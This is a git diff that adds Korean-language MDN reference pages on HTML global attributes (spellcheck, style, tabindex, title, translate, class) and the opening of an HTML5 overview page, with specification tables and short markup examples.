+<p><strong>참고:</strong> <code>spellcheck</code> 특성은 불리언이 아니고 열거형 특성이므로 <code>true</code> 또는 <code>false</code>를 반드시 지정해야 합니다. 즉, <code>&lt;textarea spellcheck&gt;&lt;/textarea&gt;</code>처럼은 사용할 수 없으며, <code>&lt;textarea spellcheck="true"&gt;&lt;/textarea&gt;</code>와 같이 사용해야 합니다.</p>
+</div>
+
+<p>특성을 지정하지 않았을 때의 기본값은 브라우저 및 요소에 따라 다릅니다. 또한, <code>spellcheck</code> 특성은 상속 대상이므로, 부모 요소의 값에도 영향을 받습니다.</p>
+
+<p><code>spellcheck</code>는 권장사항에 불과하며, 브라우저가 맞춤법을 검사해야 할 의무는 없습니다. 보통 <code>spllcheck</code> 특성을 <code>true</code>로 지정하더라도, 요소를 편집할 수 없다면 맞춤법 검사를 하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.spellcheck")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/style/index.html b/files/ko/web/html/global_attributes/style/index.html
new file mode 100644
index 0000000000..6400ef008f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/style/index.html
@@ -0,0 +1,69 @@
+---
+title: style
+slug: Web/HTML/Global_attributes/style
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/style
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>style</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소에 적용할 <a href="/ko/docs/Web/CSS">CSS</a> 스타일 선언을 담습니다.</span> 스타일은 별도의 파일에 정의하는 것이 권장된다는 점을 참고하세요. 이 특성과 {{HTMLElement("style")}} 요소는 주로 테스트 등 빠른 스타일링을 위한 목적으로 사용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-style.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>style</code> 특성에 의미를 담으면 안됩니다. 페이지의 모든 스타일을 제거하더라도, 그 의미는 옳게 남아있어야 합니다. 보통 <code>style</code>을 사용해 불필요한 정보를 숨기기보단 <code><a href="/ko/docs/Web/HTML/Global_attributes/hidden">hidden</a></code> 특성을 사용해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#the-style-attribute", "style")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#the-style-attribute", "style")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#the-style-attribute", "style")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, it is now a true global attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/styles.html#h-14.2.2', 'style')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Style", "", "")}}</td>
+ <td>{{Spec2("CSS3 Style")}}</td>
+ <td>Defines the content of the <code>style</code> attribute.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/tabindex/index.html b/files/ko/web/html/global_attributes/tabindex/index.html
new file mode 100644
index 0000000000..898852f852
--- /dev/null
+++ b/files/ko/web/html/global_attributes/tabindex/index.html
@@ -0,0 +1,92 @@
+---
+title: tabindex
+slug: Web/HTML/Global_attributes/tabindex
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/tabindex
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>tabindex</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소가 포커스 가능함을 나타내며, 이름에서도 알 수 있듯, 주로 <kbd>Tab</kbd> 키를 사용하는 연속적인 키보드 탐색에서 어느 순서에 위치할지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-tabindex.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>값으로는 정수를 지정할 수 있으며, 수에 따라 결과가 달라집니다.</p>
+
+<ul>
+ <li><strong>음의 정숫값</strong>(보통 <code>tabindex="-1"</code>)은 연속 키보드 탐색으로 접근할 수는 없으나 JavaScript나 시각적(마우스 클릭)으로는 포커스 가능함을 뜻합니다. 보통 JavaScript를 사용한 위젯의 접근성 확보를 위해 사용합니다.
+
+ <div class="note">
+ <p><strong>참고:</strong> 음의 값은 특정 이벤트에만 나타나는 요소에 유용합니다. 사용자는 키보드를 계속 눌러도 접근할 수 없으나, 스크립트에서는 {{domxref("HTMLOrForeignElement.focus", "focus()")}} 메서드를 호출해 포커스를 부여할 수 있기 때문입니다.</p>
+ </div>
+ </li>
+ <li><code>tabindex="0"</code>은 기본값으로, 연속 키보드 탐색으로 요소에 접근할 수 있으며 문서 소스 코드의 순서에 따른다는 것을 나타냅니다. 양의 정숫값을 가진 요소가 존재할 경우 순서는 그 이후가 됩니다.</li>
+ <li><strong>양의 정숫값</strong>은 요소를 연속 키보드 탐색으로 접근할 수 있으며, 그 순서는 해당 값으로 지정하겠다는 것을 뜻합니다. 즉, <code>tabindex="4"</code>인 요소는 <code>tabindex="5"</code>와 <code>tabindex="0"</code>인 요소 이전에, 그러나 <code>tabindex="3"</code>인 요소 이후에 접근할 수 있습니다. 다수의 요소가 하나의 값을 공유할 경우 그 안에서 문서 소스 코드의 순서를 따릅니다. 최댓값은 <code>32767</code>입니다.
+ <div class="warning">
+ <p>0보다 큰 <code>tabindex</code> 값을 피하세요. 접근성 보조기술 사용자의 페이지 탐색과 조작에 방해될 수 있습니다. 대신, 문서의 요소 순서를 논리적인 순서대로 배치하세요.</p>
+ </div>
+ </li>
+</ul>
+
+<p>{{htmlelement("div")}}에 <code>tabindex</code>를 설정할 경우, 콘텐츠에도 <code>tabindex</code>를 지정하지 않는 한 화살표 키로 스크롤 할 수 없습니다. <a href="https://jsfiddle.net/jainakshay/0b2q4Lgv/">fiddle을 방문해 tabindex가 스크롤에 주는 영향을 확인하세요.</a></p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>키보드 입력을 통해 포커스 가능한 상호작용 항목을 만들기 위해 비 <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>에 <code>tabindex</code>를 추가하는 것을 피하세요. 이를테면 버튼을 나타내기 위해 {{htmlelement("button")}} 대신 {{htmlelement("div")}}를 사용하는 것을 말합니다.</p>
+
+<p>비 대화형 요소를 사용해 만든 대화형 컴포넌트는 접근성 트리에 나타나지 않으므로, 보조 기술이 해당 컴포넌트로 탐색하거나 조작하는 것을 방지합니다. 상호작용 가능한 항목은 대화형 요소({{htmlelement("a")}}, {{htmlelement("button")}}, {{htmlelement("details")}}, {{htmlelement("input")}}, {{htmlelement("select")}}, {{htmlelement("textarea")}} 등)를 사용해 적절한 의미와 함께 나타내야 합니다. 대화형 콘텐츠 요소는 보통 <a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a>가 관리하는, 접근성 기술에 알려줄 수 있는 자신의 역할과 상태를 내장하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2014/08/using-the-tabindex-attribute/">Using the tabindex attribute | The Paciello Group</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#attr-tabindex", "tabindex")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#the-tabindex-attribute", "tabindex")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, the attribute is now supported on all elements (global attributes).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.global_attributes.tabindex")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></li>
+ <li>이 속성을 나타내는 {{domxref("HTMLElement.tabIndex")}}</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/title/index.html b/files/ko/web/html/global_attributes/title/index.html
new file mode 100644
index 0000000000..e0dbe671c1
--- /dev/null
+++ b/files/ko/web/html/global_attributes/title/index.html
@@ -0,0 +1,125 @@
+---
+title: title
+slug: Web/HTML/Global_attributes/title
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/title
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>title</strong></code> <a href="/en-US/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소와 관련된 추가 정보를 제공하는 텍스트를 나타냅니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-title.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>다음과 같은 경우 많이 쓰입니다.</p>
+
+<ul>
+ <li>보조 기술을 위해 {{HTMLElement("iframe")}} 요소에 이름 붙이기</li>
+ <li>진짜 {{HTMLElement("label")}}을 표시하지 못할 때에 대비해 {{htmlelement("input")}} 요소에 프로그래밍을 통한 레이블 추가하기</li>
+ <li>{{htmlelement("table")}} 요소 컨트롤에 레이블 추가하기</li>
+</ul>
+
+<p>{{HTMLElement("link")}}, {{HTMLElement("abbr")}}, {{HTMLElement("input")}}, {{HTMLElement("menuitem")}} 요소의 <code>title</code> 특성은 추가적인 뜻을 가지고 있습니다..</p>
+
+<h2 id="여러_줄의_제목">여러 줄의 제목</h2>
+
+<p><code>title</code> 특성은 여러 줄을 가질 수 있으며, 모든 <code>U+000A LINE FEED</code> (<code>LF</code>) 문자가 줄을 바꿉니다. 즉, 다음의 경우 툴팁이 두 줄로 나타나므로 주의를 요해야 합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;code&gt;title&lt;/code&gt; 안에서 줄을 바꿀 땐 조심해야 합니다.
+이 &lt;abbr title="This is a
+multiline title"&gt;예제&lt;/abbr&gt;처럼요.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<div>{{EmbedLiveSample('여러_줄의_제목')}}</div>
+
+<h2 id="특성_상속">특성 상속</h2>
+
+<p>요소가 <code>title</code> 특성을 가지고 있지 않을 땐 부모 요소로부터 상속합니다. 부모 요소 또한 자신의 부모로부터 상속할 수 있습니다.</p>
+
+<p><code>title</code>에 빈 문자열을 지정한 경우 조상의 <code>title</code>이 더 이상 관련되지 않았으며 해당 요소에 툴팁을 표시하지 말아야 함을 나타냅니다.</p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;div title="CoolTip"&gt;
+ &lt;p&gt;여기 어디에 마우스를 올리면 “CoolTip”이 나타납니다.&lt;/p&gt;
+ &lt;p title=""&gt;하지만 여기에서는 나타나지 않죠.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="결과_2">결과</h3>
+
+<div>{{EmbedLiveSample('특성_상속')}}</div>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>title</code> 특성은 다음과 같은 경우에 문제가 많습니다.</p>
+
+<ul>
+ <li>터치 전용 장치 사용자</li>
+ <li>키보드로 탐색하는 사용자</li>
+ <li>스크린 리더, 화면 돋보기 등 보조 기술로 탐색하는 사용자</li>
+ <li>섬세한 운동조절이 힘든 사용자</li>
+ <li>인지력 문제를 가진 사용자</li>
+</ul>
+
+<p>일관적이지 못한 브라우저 지원 문제에 더불어, 브라우저가 렌더링 한 페이지를 보조 기술이 분석함으로써 문제가 심해집니다. 툴팁 효과가 필요한 경우, <a href="https://inclusive-components.design/tooltips-toggletips/">위에 해당하는 사용자도 접근하기 좋은 다른 기법</a>을 사용하는 것이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/html/dom.html#the-title-attribute">3.2.5.1. The title attribute | W3C HTML 5.2: 3. Semantics, structure, and APIs of HTML documents</a></li>
+ <li><a href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute – updated | The Paciello Group</a></li>
+ <li><a href="https://inclusive-components.design/tooltips-toggletips/">Tooltips &amp; Toggletips - Inclusive Components</a></li>
+ <li><a href="https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/">The Trials and Tribulations of the Title Attribute - 24 Accessibility</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#the-title-attribute", "title")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#the-title-attribute", "title")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#the-title-attribute", "title")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, it is now a true global attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#adef-title', 'title')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.title")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+ <li>{{domxref("HTMLElement.title")}} that reflects this attribute.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/translate/index.html b/files/ko/web/html/global_attributes/translate/index.html
new file mode 100644
index 0000000000..12ec6e9833
--- /dev/null
+++ b/files/ko/web/html/global_attributes/translate/index.html
@@ -0,0 +1,64 @@
+---
+title: translate
+slug: Web/HTML/Global_attributes/translate
+tags:
+ - Experimental
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/translate
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>translate</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 페이지를 지역화할 때 요소의 {{domxref("Text")}} 노드 자식 및 번역 가능한 특성의 값을 번역해야 되는지, 아니면 그대로 유지해야 하는지 나타내는 열거형 속성입니다.</span> 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li>빈 문자열 또는 <code>"yes"</code>는 페이지 지역화 과정에서 요소를 번역해야 함을 나타냅니다.</li>
+ <li><code>"no"</code>는 요소의 내용을 그대로 유지해야 함을 나타냅니다.</li>
+</ul>
+
+<p>비록 모든 브라우저가 <code>translate</code> 특성을 인식하는건 아니지만, Google 번역 등의 자동 번역 시스템과 번역가가 사용하는 도구가 값을 존중할 수 있습니다. 그러므로 웹 작성자로서 번역되어선 안될 요소를 표시하는 것이 중요합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서의 <code>translate</code> 특성은 푸터에 배치한 회사의 브랜드 이름을 번역하지 말 것을 요청합니다.</p>
+
+<pre class="brush: html notranslate">&lt;footer&gt;
+ &lt;small&gt;© 2020 &lt;span translate="no"&gt;BrandName&lt;/span&gt;&lt;/small&gt;
+&lt;/footer&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#attr-translate", "translate")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#the-translate-attribute", "translate")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.translate")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>이 특성을 반영하는 {{domxref("HTMLElement.translate")}} 속성.</li>
+ <li><a href="https://www.w3.org/International/questions/qa-translate-flag">HTML의 translate 특성 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/클래스/index.html b/files/ko/web/html/global_attributes/클래스/index.html
new file mode 100644
index 0000000000..d0aa89b606
--- /dev/null
+++ b/files/ko/web/html/global_attributes/클래스/index.html
@@ -0,0 +1,64 @@
+---
+title: class
+slug: Web/HTML/Global_attributes/클래스
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/class
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>class</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 공백으로 구분한 요소 클래스의 목록으로, 대소문자를 구분하지 않습니다. 클래스는 CSS나 JavaScript에서 <a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a>나 DOM 메서드의 {{domxref("document.getElementsByClassName()")}}과 같은 메서드를 통해 요소에 접근할 수 있는 방법입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>명세서가 클래스의 명칭에 대한 요구사항을 제시하지는 않았지만, 웹 개발자는 해당 요소의 표시 방식보다는 요소의 의미와 목적을 설명하는 명칭을 사용하는 것이 좋습니다. 예를 들어, 클래스 특성을 가진 어떤 요소가 기울임꼴로 나타난다 하더라도, 클래스 이름은 "기울임꼴"을 설명하는 것이 아니라 요소를 설명하는 것입니다. 의미를 가진 이름은 해당 페이지의 표현 방식이 바뀌더라도 논리성을 잃지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "elements.html#classes", "class")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "elements.html#classes", "class")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "elements.html#classes", "class")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName('HTML4.01')}}, <code>class</code> is now a true global attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지에 있는 호환성 테이블은 구조적 데이터로부터 생성된 것입니다. 이 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 살펴보시고 pull request를 보내주시기 바랍니다.</div>
+
+<p>{{Compat("html.global_attributes.class")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/ko/web/html/html5/index.html b/files/ko/web/html/html5/index.html
new file mode 100644
index 0000000000..2d64ce56d6
--- /dev/null
+++ b/files/ko/web/html/html5/index.html
@@ -0,0 +1,122 @@
+---
+title: HTML5
+slug: Web/HTML/HTML5
+translation_of: Web/Guide/HTML/HTML5
+---
+<p><strong>HTML5</strong>는 HTML를 정의하는 표준화에 있어서의 최신 표준 명세입니다. <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/">HTML5 명세</a>는 아직도 표준 지정이 완료되지 않았고 변경이 계속 진행 중입니다. 하지만, Mozilla 및 다른 웹 브라우저 벤더는 이미 사양 중  많은 부분에 대한 구현을 시작하고 있습니다. 여기에 링크 하고 있는 문서에서는 <a class="external" href="http://www.mozilla.com/en-US/firefox/" title="http://www.mozilla.com/en-US/firefox/">Firefox</a> 및 <a href="/ko/List_of_Mozilla-Based_Applications" title="ko/List of Mozilla-Based Applications">다른 많은 제품</a>으로 사용되어 있는 Mozilla의 <a href="/ko/Gecko" title="ko/Gecko">Gecko</a> 엔진에 있어서 이미 기술 지원되어 있는 HTML5의 기능에 대해 설명하고 있습니다. 각각의 기능을 기술 지원하고 있는 Gecko 버전 및 다른 브라우저 엔진에 대해서는 지정된 페이지를 참조해 주십시오.</p>
+
+<p>(<a href="/ko/HTML/HTML5/HTML5_Thematic_Classification" title="ko/HTML/HTML5/HTML5 Thematic Classification">HTML5의 문서에 대한 다른 분류</a>도 참고하세요.)</p>
+
+<h2 id="HTML5_소개">HTML5 소개</h2>
+
+<dl>
+ <dt><a href="/ko/HTML/HTML5/Introduction_to_HTML5" title="ko/HTML/Introduction to HTML5"><strong>HTML5의 소개</strong></a></dt>
+ <dd>이 문서에서는 웹 디자인이나 웹 애플리케이션으로 HTML5 이용 방법을 소개합니다.</dd>
+</dl>
+
+<h2 id="HTML5의_요소">HTML5의 요소</h2>
+
+<dl>
+ <dt><a href="/ko/HTML/HTML5/HTML5_Tags_List" title="ko/HTML/HTML5/HTML5 Tags List"><strong>HTML5 요소·태그의 목록</strong></a></dt>
+ <dd>현재 사양 초안에 근거한 HTML5 요소(태그)의 목록표입니다.</dd>
+ <dt><a href="/Ja/Using_HTML5_audio_and_video" title="ko/Using_audio_and_video_in_Firefox">오디오/비디오 사용하기</a></dt>
+ <dd>Firefox 3.5이상에서  HTML5의 {{ HTMLElement("audio") }} 요소와 {{ HTMLElement("video") }} 요소의 기술 지원이 추가되었습니다.</dd>
+ <dt><a href="/ko/HTML/Forms_in_HTML" title="ko/HTML/HTML5/Forms in HTML5">HTML5 웹 폼양식</a></dt>
+ <dd>HTML5에서는 웹 폼양식이 개선됩니다. {{ HTMLElement("input") }} 요소의 {{ htmlattrxref("type", "input") }} 속성에 새로운 값이나 새 요소인 {{ HTMLElement("output") }} 요소 등이 새롭게 추가되었습니다.</dd>
+ <dt><a href="/ko/Sections_and_outlines_of_an_HTML5_document" title="ko/Sections and Outlines of an HTML5 document">HTML5 섹션과 아웃라인</a></dt>
+ <dd>HTML5 에서는 아웃라인과 섹션에 관한 요소가 추가되었습니다.: {{ HTMLElement("section") }}, {{ HTMLElement("article") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("aside") }}, {{ HTMLElement("hgroup") }}.</dd>
+ <dt>{{ HTMLElement("mark") }} 요소</dt>
+ <dd>mark 요소는 텍스트중에서의 특별한<em> 관련성</em>을 강조시키기 위해서 이용합니다.</dd>
+ <dt>{{ HTMLElement("figure") }} 및 {{ HTMLElement("figcaption") }} 요소</dt>
+ <dd>주로 사용된 문장과 느슨하게 연결된, 최종 캡션을 수반한 도식이나 그림을 추가할 수 있습니다.</dd>
+</dl>
+
+<h3 id="Canvas_기술_지원">Canvas 기술 지원</h3>
+
+<dl>
+ <dt><a href="/ko/Canvas_tutorial" title="https://developer.mozilla.org/ko/Canvas_tutorial">Canvas 튜토리얼</a></dt>
+ <dd>새로운 요소인 {{ HTMLElement("canvas") }} 요소와 그것을 사용하여 Firefox에 그래프나 다른 객체를 재생 하는 방법에 대해 배웁니다.</dd>
+ <dt><a href="/ko/Drawing_text_using_a_canvas" title="ko/Drawing_text_using_a_canvas"><code>canvas</code> 요소의 HTML5 text API</a></dt>
+ <dd>{{ HTMLElement("canvas") }} 요소가 HTML5 text API를 기술 지원합니다.</dd>
+</dl>
+
+<h2 id="웹_애플리케이션_기능">웹 애플리케이션 기능</h2>
+
+<dl>
+ <dt><a href="/ko/HTML/Using_the_application_cache" title="ko/Offline_resources_in_Firefox">Firefox 오프 라인 자원</a></dt>
